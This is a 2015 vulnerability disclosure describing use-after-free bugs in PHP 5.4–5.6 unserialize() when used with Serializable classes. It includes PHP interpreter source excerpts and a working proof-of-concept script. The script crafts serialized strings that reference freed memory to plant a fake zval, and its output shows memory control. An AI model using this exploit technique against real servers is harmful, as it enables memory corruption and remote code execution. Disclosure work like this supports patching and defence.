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PHP 5.6 / 5.5 / 5.4 unserialize() Use-After-Free

PHP 5.6 / 5.5 / 5.4 unserialize() Use-After-Free
Posted Sep 7, 2015
Authored by Taoguang Chen

Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or for executing arbitrary code remotely. Affected are PHP versions 5.6.12 and below, 5.5.28 and below, and 5.4.44 and below.

tags | exploit, arbitrary, php, vulnerability
SHA-256 | 77d34f5cfa55e4abcf2086a401126827fa0bf5ae4047ceeb353c35148cd1c48c

PHP 5.6 / 5.5 / 5.4 unserialize() Use-After-Free

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#Use After Free Vulnerabilities in unserialize()

Taoguang Chen <[@chtg](http://github.com/chtg)> - Write Date:
2015.7.31 - Release Date: 2015.9.4

> Multiple use-after-free vulnerabilities were discovered in unserialize() with Serializable class that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.

Affected Versions
------------
Affected is PHP 5.6 < 5.6.12
Affected is PHP 5.5 < 5.5.28
Affected is PHP 5.4 < 5.4.44

Credits
------------
This vulnerability was disclosed by Taoguang Chen.

Description
------------
```
if (ce->unserialize == NULL) {
zend_error(E_WARNING, "Class %s has no unserializer", ZSTR_VAL(ce->name));
object_init_ex(rval, ce);
} else if (ce->unserialize(rval, ce, (const unsigned char*)*p,
datalen, (zend_unserialize_data *)var_hash) != SUCCESS) {
return 0;
}

(*p) += datalen;

return finish_nested_data(UNSERIALIZE_PASSTHRU);
```

The unserialize() with Serializable class lead to various problems.

i) Free the memory via crafted Serializable class

```
<?php

class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
$this->data = 1;
}
}

?>
```

ii) Free the memory via the process_nested_data() with a invalid
serialized string

```
static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable
*ht, long elements, int objprops)
{
while (elements-- > 0) {
zval *key, *data, **old_data;

...

ALLOC_INIT_ZVAL(data);

if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) {
zval_dtor(key);
FREE_ZVAL(key);
zval_dtor(data);
FREE_ZVAL(data); <=== free the memory
return 0;
}
```

iii) Free the memory via the var_push_dtor_no_addref() with the var_destroy().

```
PHPAPI void var_destroy(php_unserialize_data_t *var_hashx)
{

...

while (var_hash) {
for (i = 0; i < var_hash->used_slots; i++) {
zval_ptr_dtor(&var_hash->data[i]); <=== free the memory
}

...

PHPAPI int php_var_unserialize(UNSERIALIZE_PARAMETER)
{

...

if (*rval != NULL) {
var_push_dtor_no_addref(var_hash, rval);
}
*rval = *rval_ref;
```

We can create ZVAL and free it via Serializable::unserialize. However
the unserialize() will still allow to use R: or r: to set references
to that already freed memory. It is possible to use-after-free attack
and execute arbitrary code remotely.

Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.43.

```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

// i)
//$inner = 'a:1:{i:0;i:1;}';
//$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:3;}';
// ii)
$inner = 'a:2:{i:0;i:1;i:1;i:2';
$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:5;}';
// iii)
//$inner = 'r:1;';
//$exploit = 'a:1:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}}';

$data = unserialize($exploit);

for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

class obj implements Serializable {
var $data;
function serialize() {
return serialize($this->data);
}
function unserialize($data) {
$this->data = unserialize($data);
// i)
// $this->data = '1';
}
}

?>
```

Test the PoC on the command line:

```
$ php uafpoc.php
array(2) {
[0]=>
object(obj)#1 (1) {
["data"]=>
bool(false)
}
[1]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
```


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